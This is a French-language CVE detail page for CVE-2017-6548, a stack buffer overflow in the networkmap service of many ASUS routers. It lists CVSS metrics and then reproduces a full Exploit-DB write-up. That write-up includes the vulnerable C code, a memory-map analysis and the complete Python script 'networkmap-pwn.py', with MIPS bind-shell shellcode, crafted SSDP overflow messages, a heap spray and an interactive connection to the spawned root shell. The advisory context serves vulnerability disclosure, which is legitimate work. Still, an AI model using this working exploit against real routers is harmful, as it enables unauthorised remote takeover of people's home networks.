CVE-2017-6548 : Détail

CVE-2017-6548

9.8
/
Critique
Overflow
15.57%V3
Network
2017-03-09
08h26 +00:00
2017-08-15
07h57 +00:00
Notifications pour un CVE
Restez informé de toutes modifications pour un CVE spécifique.
Gestion des notifications

Descriptions du CVE

Buffer overflows in networkmap on ASUS RT-N56U, RT-N66U, RT-AC66U, RT-N66R, RT-AC66R, RT-AC68U, RT-AC68R, RT-N66W, RT-AC66W, RT-AC87R, RT-AC87U, RT-AC51U, RT-AC68P, RT-N11P, RT-N12+, RT-N12E B1, RT-AC3200, RT-AC53U, RT-AC1750, RT-AC1900P, RT-N300, and RT-AC750 routers with firmware before 3.0.0.4.380.7378; RT-AC68W routers with firmware before 3.0.0.4.380.7266; and RT-N600, RT-N12+ B1, RT-N11P B1, RT-N12VP B1, RT-N12E C1, RT-N300 B1, and RT-N12+ Pro routers with firmware before 3.0.0.4.380.9488; and Asuswrt-Merlin firmware before 380.65_2 allow remote attackers to execute arbitrary code on the router via a long host or port in crafted multicast messages.

Informations du CVE

Faiblesses connexes

CWE-ID Nom de la faiblesse Source
CWE-119 Improper Restriction of Operations within the Bounds of a Memory Buffer
The product performs operations on a memory buffer, but it reads from or writes to a memory location outside the buffer's intended boundary. This may result in read or write operations on unexpected memory locations that could be linked to other variables, data structures, or internal program data.

Métriques

Métriques Score Gravité CVSS Vecteur Source
V3.0 9.8 CRITICAL CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Network

A vulnerability exploitable with network access means the vulnerable component is bound to the network stack and the attacker's path is through OSI layer 3 (the network layer). Such a vulnerability is often termed 'remotely exploitable' and can be thought of as an attack being exploitable one or more network hops away (e.g. across layer 3 boundaries from routers).

Attack Complexity

This metric describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success against the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

None

The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files to carry out an attack.

User Interaction

This metric captures the requirement for a user, other than the attacker, to participate in the successful compromise of the vulnerable component.

None

The vulnerable system can be exploited without interaction from any user.

Base: Scope Metrics

An important property captured by CVSS v3.0 is the ability for a vulnerability in one software component to impact resources beyond its means, or privileges.

Scope

Formally, Scope refers to the collection of privileges defined by a computing authority (e.g. an application, an operating system, or a sandbox environment) when granting access to computing resources (e.g. files, CPU, memory, etc). These privileges are assigned based on some method of identification and authorization. In some cases, the authorization may be simple or loosely controlled based upon predefined rules or standards. For example, in the case of Ethernet traffic sent to a network switch, the switch accepts traffic that arrives on its ports and is an authority that controls the traffic flow to other switch ports.

Unchanged

An exploited vulnerability can only affect resources managed by the same authority. In this case the vulnerable component and the impacted component are the same.

Base: Impact Metrics

The Impact metrics refer to the properties of the impacted component.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

High

There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

High

There is total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence that one has in the description of a vulnerability.

Environmental Metrics

nvd@nist.gov
V2 10 AV:N/AC:L/Au:N/C:C/I:C/A:C nvd@nist.gov

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

Informations sur l'Exploit

Exploit Database EDB-ID : 41573

Date de publication : 2017-03-07 23h00 +00:00
Auteur : Bruno Bierbaumer
EDB Vérifié : No

Remote Code Execution Component: networkmap CVE: CVE-2017-6548 networkmap is responsible for generating a map of computers connected to the router. It continuously monitors the LAN to detect ARP requests submitted by unknown computers. When a new MAC address appears it will probe the related IP address for running services like printer sharing, http server and also iTunes servers. This is implemented by sending out multicast SSP discoveries: M-SEARCH * HTTP/1.1 HOST: 239.255.255.250:1900 ST:upnp:rootdevice MAN:"ssdp:discover" MX:3 A device can then respond with messages which indicate the location of the iTunes service. HTTP/1.1 200 OK Location:HTTP://host:port/path Vulnerability: The function process_device_repsonse is responsible for parsing the SSDP answer: /************************************************************************************************/ // process the device response "HTTP/1.1 200 OK" int process_device_response(char *msg) { char *line, *body, *p; // temporary variables char *location = NULL; // the LOCATION: header char host[16], port[6]; // the ip and port of the device ushort destport; // the integer type of device port char *data = NULL; // the data in packet int http_fd; // the http socket fd int nbytes; // recv number int i; char *descri = NULL; int len; struct timeval timeout={10, 0}; //search "\r\n\r\n" or "\r\n" first appear place and judge whether msg have blank. if( (body = strstr(msg, "\r\n\r\n")) != NULL) body +=4; else if ( (body = strstr(msg, "\r\n")) != NULL) body +=2; else return 0; p = msg; // find the LOCATION information. while( p!= NULL && p < body) { line = strsep(&p, "\r\n"); //divide up string if((strncmp(line, "LOCATION:", 9) == 0) || (strncmp(line, "Location:", 9) == 0)) { location = strip_chars(&line[9], "\t"); location = strip_chars(&line[9], " "); break; } } NMP_DEBUG_F("UPnP location=%s\n", location); //fprintf(fp_upnp, "UPnP location=%s\n", location);//Yau // get the destination ip location += 7; i = 0; while( (*location != ':') && (*location != '/')) { host[i] = *location++; i++; } host[i] = '\0'; //get the destination port if(*location == ':') { for(location++, i =0; *location != '/'; i++) port[i] = *location++; port[i] = '\0'; destport = (ushort)atoi(port); } else destport = 80; It contains multiple buffer overflows in the parsing code for host and port. This stack-based overflow can be used to gain control over networkmap’s control flow by overwriting the saved $pc stored on the stack. Parsing this message: HTTP/1.1 200 OK Location:HTTP://AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/ will overflow host[16] and lead to $pc being set to 0x41414141 which is a starting point for further exploitation. Exploitation: In order to develop a working exploit we gather further information of the system. General Information: ASUSWRT is based on Linux which is running on a little endian MIPS CPU. The vulnerable program networkmap gets automatically started when the device boots and additionally gets restarted by the watchdog process if it crashes. # cat /proc/cpuinfo system type : MT7620 processor : 0 cpu model : MIPS 24Kc V5.0 BogoMIPS : 386.04 wait instruction : yes microsecond timers : yes tlb_entries : 32 extra interrupt vector : yes hardware watchpoint : yes, count: 4, address/irw mask: [0x0000, 0x0ff8, 0x0ff8, 0x0ff8] ASEs implemented : mips16 dsp shadow register sets : 1 core : 0 VCED exceptions : not available VCEI exceptions : not available # ps PID USER VSZ STAT COMMAND 1 admin 3940 S /sbin/init 2 admin 0 SW [kthreadd] 3 admin 0 SW [ksoftirqd/0] 4 admin 0 SW [kworker/0:0] 5 admin 0 SW [kworker/u:0] 6 admin 0 SW< [khelper] 7 admin 0 SW [sync_supers] 8 admin 0 SW [bdi-default] 9 admin 0 SW< [kintegrityd] 10 admin 0 SW< [kblockd] 11 admin 0 SW [kswapd0] 12 admin 0 SW [fsnotify_mark] 13 admin 0 SW< [crypto] 17 admin 0 SW [mtdblock0] 18 admin 0 SW [mtdblock1] 19 admin 0 SW [mtdblock2] 20 admin 0 SW [mtdblock3] 21 admin 0 SW [mtdblock4] 22 admin 0 SW [mtdblock5] 23 admin 0 SW [kworker/u:1] 30 admin 0 SW [kworker/0:1] 41 admin 660 S hotplug2 --persistent --no-coldplug 76 admin 3924 S console 78 admin 1276 S /sbin/syslogd -m 0 -S -O /tmp/syslog.log -s 256 -l 6 80 admin 1276 S /sbin/klogd -c 5 82 admin 1292 S /bin/sh 115 admin 0 SW [RtmpCmdQTask] 116 admin 0 SW [RtmpWscTask] 135 admin 0 SW [RtmpCmdQTask] 136 admin 0 SW [RtmpWscTask] 164 admin 3932 S /sbin/wanduck 168 admin 1128 S dropbear -p 192.168.1.1:22 -a 175 admin 3932 S wpsaide 189 nobody 1056 S dnsmasq --log-async 194 admin 2588 S avahi-daemon: running [RT-AC53-B8F4.local] 196 admin 4112 S httpd -i br0 197 admin 1068 S /usr/sbin/infosvr br0 199 admin 3932 S watchdog 201 admin 2180 S rstats 210 admin 1160 S lld2d br0 211 admin 3932 S ots 224 admin 800 S miniupnpd -f /etc/upnp/config 229 admin 1284 S /sbin/udhcpc -i vlan2 -p /var/run/udhcpc0.pid -s /tmp/udhcpc -O33 -O249 302 admin 1152 S dropbear -p 192.168.1.1:22 -a 303 admin 1300 S -sh 344 admin 1128 S networkmap 359 admin 1280 R ps # uname -a Linux (none) 2.6.36 #1 Fri Sep 23 12:05:55 CST 2016 mips GNU/Linux Memory Map: networkmap’s memory map is analyzed to continue exploiting the device. # cat /proc/$(pidof networkmap)/maps 00400000-0040b000 r-xp 00000000 1f:04 270 /usr/sbin/networkmap 0041a000-0041b000 rw-p 0000a000 1f:04 270 /usr/sbin/networkmap 0041b000-0041f000 rwxp 00000000 00:00 0 [heap] 2b893000-2b894000 rw-p 00000000 00:00 0 2b894000-2b89a000 r-xp 00000000 1f:04 828 /lib/ld-uClibc.so.0 2b89a000-2b8a0000 rw-s 00000000 00:04 0 /SYSV000003e9 (deleted) 2b8a0000-2b8a4000 rw-s 00000000 00:04 32769 /SYSV000003ea (deleted) 2b8a9000-2b8aa000 r--p 00005000 1f:04 828 /lib/ld-uClibc.so.0 2b8aa000-2b8ab000 rw-p 00006000 1f:04 828 /lib/ld-uClibc.so.0 2b8ab000-2b8d9000 r-xp 00000000 1f:04 258 /usr/lib/libshared.so 2b8d9000-2b8e8000 ---p 00000000 00:00 0 2b8e8000-2b8eb000 rw-p 0002d000 1f:04 258 /usr/lib/libshared.so 2b8eb000-2b8ed000 rw-p 00000000 00:00 0 2b8ed000-2b8ef000 r-xp 00000000 1f:04 235 /usr/lib/libnvram.so 2b8ef000-2b8ff000 ---p 00000000 00:00 0 2b8ff000-2b900000 rw-p 00002000 1f:04 235 /usr/lib/libnvram.so 2b900000-2b90e000 r-xp 00000000 1f:04 760 /lib/libgcc_s.so.1 2b90e000-2b91e000 ---p 00000000 00:00 0 2b91e000-2b91f000 rw-p 0000e000 1f:04 760 /lib/libgcc_s.so.1 2b91f000-2b95a000 r-xp 00000000 1f:04 827 /lib/libc.so.0 2b95a000-2b96a000 ---p 00000000 00:00 0 2b96a000-2b96b000 rw-p 0003b000 1f:04 827 /lib/libc.so.0 2b96b000-2b96f000 rw-p 00000000 00:00 0 2b970000-2b97f000 r--s 03eb0000 00:0c 78 /dev/nvram 7f8a7000-7f8c8000 rwxp 00000000 00:00 0 [stack] 7fff7000-7fff8000 r-xp 00000000 00:00 0 [vdso] Observations: Partial ASLR is activated: Stack address is randomized Library addresses are randomized Program address is not randomized Heap address is not randomized There is no Stack-Protector Both heap and stack are mapped executable The binary contains almost no gadgets suitable for building a ROP chain Exploit: The final exploit consists of the following steps: Starting a webserver serving shellcode Listening for multicast UDP messages send by the router Database clearing / crashing: to make the heap layout predictable Randomizing MAC address Send message: jump to gadget that deletes networkmap’s database and crashes networkmap will be restarted Spraying heap 1, 2: Randomizing MAC address Send message: containing the webserver’s IP+port networkmap will receive shellcode and store it on the heap Starting payload Randomize MAC address Send message: jump to heap address containing the shellcode Connect to opened shell For further details check out the full exploit: networkmap-pwn.py (https://bierbaumer.net/networkmap-pwn.py) Example: # ./networkmap-pwn.py [-] starting webserver [-] received SSP discovery [-] clearing database and crashing [-] received SSP discovery [-] spraying heap 1/2 [-] got shellcode request [-] sending shellcode [-] received SSP discovery [-] spraying heap 2/2 [-] received SSP discovery [-] starting payload [-] try to connect to shell [-] try to connect to shell [+] connected Linux (none) 2.6.36 #1 Fri Sep 23 12:05:55 CST 2016 mips GNU/Linux [+] pwned ---networkmap-pwn.py--- #!/usr/bin/env python3 # ASUSWRT networkmap Remote Code Execution # Author: Bruno Bierbaumer # Date: 24/02/2017 # Tested version: # RT-AC53 (3.0.0.4.380.6038) # CVE: TODO # Description: # networkmap contains a stack-based buffer overflow which can be exploited to run arbitrary code. ROUTER_IP = '192.168.1.1' IP = '192.168.1.2' INTERACE = 'enp0s31f6' """ Shellcode adjusted from https://www.exploit-db.com/exploits/13298/ """ sc = b"\x41\x41\x04\x28" *1400 # nops #alarm handling sc += b"\xff\xff\x04\x28" # a0 <- 0 */ sc += b"\xbb\x0f\x02\x24" # li v0,4027 ( __alarm ) */ sc += b"\x0c\x01\x01\x01" # syscall sc += b"\x50\x73\x0f\x24" # li t7,0x7350 (nop) */ #/alarm sc += b"\xe0\xff\xbd\x27" # addiu sp,sp,-32 */ sc += b"\xfd\xff\x0e\x24" # li t6,-3 */ sc += b"\x27\x20\xc0\x01" # nor a0,t6,zero */ sc += b"\x27\x28\xc0\x01" # nor a1,t6,zero */ sc += b"\xff\xff\x06\x28" # slti a2,zero,-1 */ sc += b"\x57\x10\x02\x24" # li v0,4183 ( __NR_socket ) */ sc += b"\x0c\x01\x01\x01" # syscall */ sc += b"\x50\x73\x0f\x24" # li t7,0x7350 (nop) */ sc += b"\xff\xff\x50\x30" # andi s0,v0,0xffff */ sc += b"\xef\xff\x0e\x24" # li t6,-17 */ sc += b"\x27\x70\xc0\x01" # nor t6,t6,zero */ sc += b"\x13\x37\x0d\x24" # li t5,0x3713 (port 0x1337) */ sc += b"\x04\x68\xcd\x01" # sllv t5,t5,t6 */ sc += b"\xff\xfd\x0e\x24" # li t6,-513 */ sc += b"\x27\x70\xc0\x01" # nor t6,t6,zero */ sc += b"\x25\x68\xae\x01" # or t5,t5,t6 */ sc += b"\xe0\xff\xad\xaf" # sw t5,-32(sp) */ sc += b"\xe4\xff\xa0\xaf" # sw zero,-28(sp) */ sc += b"\xe8\xff\xa0\xaf" # sw zero,-24(sp) */ sc += b"\xec\xff\xa0\xaf" # sw zero,-20(sp) */ sc += b"\x25\x20\x10\x02" # or a0,s0,s0 */ sc += b"\xef\xff\x0e\x24" # li t6,-17 */ sc += b"\x27\x30\xc0\x01" # nor a2,t6,zero */ sc += b"\xe0\xff\xa5\x23" # addi a1,sp,-32 */ sc += b"\x49\x10\x02\x24" # li v0,4169 ( __NR_bind ) */ sc += b"\x0c\x01\x01\x01" # syscall */ sc += b"\x50\x73\x0f\x24" # li t7,0x7350 (nop) */ sc += b"\x25\x20\x10\x02" # or a0,s0,s0 */ sc += b"\x01\x01\x05\x24" # li a1,257 */ sc += b"\x4e\x10\x02\x24" # li v0,4174 ( __NR_listen ) */ sc += b"\x0c\x01\x01\x01" # syscall */ sc += b"\x50\x73\x0f\x24" # li t7,0x7350 (nop) */ sc += b"\x25\x20\x10\x02" # or a0,s0,s0 */ sc += b"\xff\xff\x05\x28" # slti a1,zero,-1 */ sc += b"\xff\xff\x06\x28" # slti a2,zero,-1 */ sc += b"\x48\x10\x02\x24" # li v0,4168 ( __NR_accept ) */ sc += b"\x0c\x01\x01\x01" # syscall */ sc += b"\x50\x73\x0f\x24" # li t7,0x7350 (nop) */ sc += b"\xff\xff\x50\x30" # andi s0,v0,0xffff */ sc += b"\x25\x20\x10\x02" # or a0,s0,s0 */ sc += b"\xfd\xff\x0f\x24" # li t7,-3 */ sc += b"\x27\x28\xe0\x01" # nor a1,t7,zero */ sc += b"\xdf\x0f\x02\x24" # li v0,4063 ( __NR_dup2 ) */ sc += b"\x0c\x01\x01\x01" # syscall */ sc += b"\x50\x73\x0f\x24" # li t7,0x7350 (nop) */ sc += b"\x25\x20\x10\x02" # or a0,s0,s0 */ sc += b"\x01\x01\x05\x28" # slti a1,zero,0x0101 */ sc += b"\xdf\x0f\x02\x24" # li v0,4063 ( __NR_dup2 ) */ sc += b"\x0c\x01\x01\x01" # syscall */ sc += b"\x50\x73\x0f\x24" # li t7,0x7350 (nop) */ sc += b"\x25\x20\x10\x02" # or a0,s0,s0 */ sc += b"\xff\xff\x05\x28" # slti a1,zero,-1 */ sc += b"\xdf\x0f\x02\x24" # li v0,4063 ( __NR_dup2 ) */ sc += b"\x0c\x01\x01\x01" # syscall */ sc += b"\x50\x73\x0f\x24" # li t7,0x7350 (nop) */ sc += b"\x50\x73\x06\x24" # li a2,0x7350 */ sc += b"\xff\xff\xd0\x04" # LB: bltzal a2,LB */ sc += b"\x50\x73\x0f\x24" # li t7,0x7350 (nop) */ sc += b"\xff\xff\x06\x28" # slti a2,zero,-1 */ sc += b"\xdb\xff\x0f\x24" # li t7,-37 */ sc += b"\x27\x78\xe0\x01" # nor t7,t7,zero */ sc += b"\x21\x20\xef\x03" # addu a0,ra,t7 */ sc += b"\xf0\xff\xa4\xaf" # sw a0,-16(sp) */ sc += b"\xf4\xff\xa0\xaf" # sw zero,-12(sp) */ sc += b"\xf0\xff\xa5\x23" # addi a1,sp,-16 */ sc += b"\xab\x0f\x02\x24" # li v0,4011 ( __NR_execve ) */ sc += b"\x0c\x01\x01\x01" # syscall */ sc += b"/bin/sh"; import time import struct import socket import sys import os import threading import socketserver import telnetlib # randomize mac address def mac(): os.system('macchanger -A {} > /dev/null'.format(INTERACE)) # setup interface os.system('ifconfig {} down; ifconfig {} {} up; route add default gw {}'.format(INTERACE, INTERACE, IP, ROUTER_IP)) # setup minimal webserver for delivering the shellcode class ThreadedHTTPRequestHandler(socketserver.BaseRequestHandler): def handle(self): print('[-] got shellcode request') self.request.recv(1024) print("[-] sending shellcode") self.request.send(sc) class ThreadedHTTPServer(socketserver.ThreadingMixIn, socketserver.TCPServer): pass print('[-] starting webserver') socketserver.TCPServer.allow_reuse_address = True server = ThreadedHTTPServer(('0.0.0.0', 1337), ThreadedHTTPRequestHandler) t = threading.Thread(target=server.serve_forever) t.start() # start multicast receiver addrinfo = socket.getaddrinfo('239.255.255.250', None)[0] s = socket.socket(addrinfo[0], socket.SOCK_DGRAM) s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) s.bind(('', 1900)) group_bin = socket.inet_pton(addrinfo[0], addrinfo[4][0]) mreq = group_bin + struct.pack('=I', socket.INADDR_ANY) s.setsockopt(socket.IPPROTO_IP, socket.IP_ADD_MEMBERSHIP, mreq) mac() state = 'clean' while True: data, sender = s.recvfrom(1500) if sender[0] == ROUTER_IP and sender[1] == 1008: print("[-] received SSP discovery") data = {} data['clean'] = b'HTTP/1.1 200 OK\r\nLocation:HTTP://' + b'CCCC'*11 + b'\xfc\x8c\x40/' +b'\r\n\r\n' data['pwn'] = b'HTTP/1.1 200 OK\r\nLocation:HTTP://' + b"AAAA"*11 + b'\x04\xd5\x41/' +b'\r\n\r\n' data['heap'] = b'HTTP/1.1 200 OK\r\nLocation:HTTP://' + IP.encode()+ b':1337/A\r\n\r\n' data['heap2']= data['heap'] sock = socket.socket(socket.AF_INET,socket.SOCK_DGRAM) sock.sendto(data[state], sender) if state == 'pwn': print("[-] starting payload") while True: try: print("[-] try to connect to shell") telnet = telnetlib.Telnet() telnet.open('192.168.1.1', 0x1337, timeout=1) print('[+] connected') telnet.write(b'uname -a; echo [+] pwned\n') telnet.interact() except: pass time.sleep(2.0) if state == 'heap2': print("[-] spraying heap 2/2") mac() state = 'pwn' if state == 'heap': print("[-] spraying heap 1/2") mac() state = 'heap2' if state == 'clean': print('[-] clearing database and crashing') mac() state = 'heap' ---EOF---

Products Mentioned

Configuraton 0

Asus>>Rt-ac53_firmware >> Version 3.0.0.4.380.6038

Asus>>Rt-ac53 >> Version -

Références

https://asuswrt.lostrealm.ca/changelog
Tags : x_refsource_CONFIRM
https://www.exploit-db.com/exploits/41573/
Tags : exploit, x_refsource_EXPLOIT-DB
http://www.securityfocus.com/bid/96938
Tags : vdb-entry, x_refsource_BID